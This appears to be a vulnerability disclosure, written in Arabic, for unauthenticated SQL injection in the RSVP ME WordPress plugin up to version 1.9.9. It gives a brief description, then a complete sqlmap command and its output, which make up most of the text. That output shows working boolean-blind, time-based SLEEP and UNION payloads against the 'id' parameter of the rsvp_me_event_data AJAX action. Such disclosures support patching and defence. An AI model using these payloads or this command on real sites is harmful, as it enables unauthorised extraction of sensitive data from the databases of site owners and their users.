
RSVP ME <= 1.9.9 - حقن SQL غير مصادق عليه
RSVP ME <= 1.9.9 - ثغرة حقن SQL غير مصادق عليها
البرنامج الإضافي RSVP ME لووردبريس عرضة لحقن SQL في الإصدارات حتى 1.9.9 وذلك بسبب عدم كفاية الهروب في المعامل المقدم من المستخدم وعدم كفاية التحضير في استعلام SQL الموجود. وهذا يسمح للمهاجمين غير المصادقين بإلحاق استعلامات SQL إضافية إلى الاستعلامات الموجودة والتي يمكن استخدامها لاستخراج معلومات حساسة من قاعدة البيانات.
$ python3 sqlmap.py -u 'http://kubernetes.docker.internal:8929/wp-admin/admin-ajax.php' --data='action=rsvp_me_event_data&id=154' --dbms='MySQL '
___
__H__
___ ___[)]_____ ___ ___ {1.9.1.2#dev}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 07:25:36 /2025-01-12/
[07:25:36] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=7a185a1dabb...483e996397'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=rsvp_me_event_data&id=154 AND 3572=3572
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=rsvp_me_event_data&id=154 AND (SELECT 1261 FROM (SELECT(SLEEP(5)))YwBv)
Type: UNION query
Title: Generic UNION query (NULL) - 23 columns
Payload: action=rsvp_me_event_data&id=-3481 UNION ALL SELECT CONCAT(0x7170787171,0x6953774e714b47695a61655a6772544779464c4e45707849647a4c78706f6d744e4e7067646c7463,0x717a627171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[07:25:38] [INFO] testing MySQL
[07:25:38] [INFO] confirming MySQL
[07:25:38] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.59, PHP 8.2.21, PHP
back-end DBMS: MySQL >= 8.0.0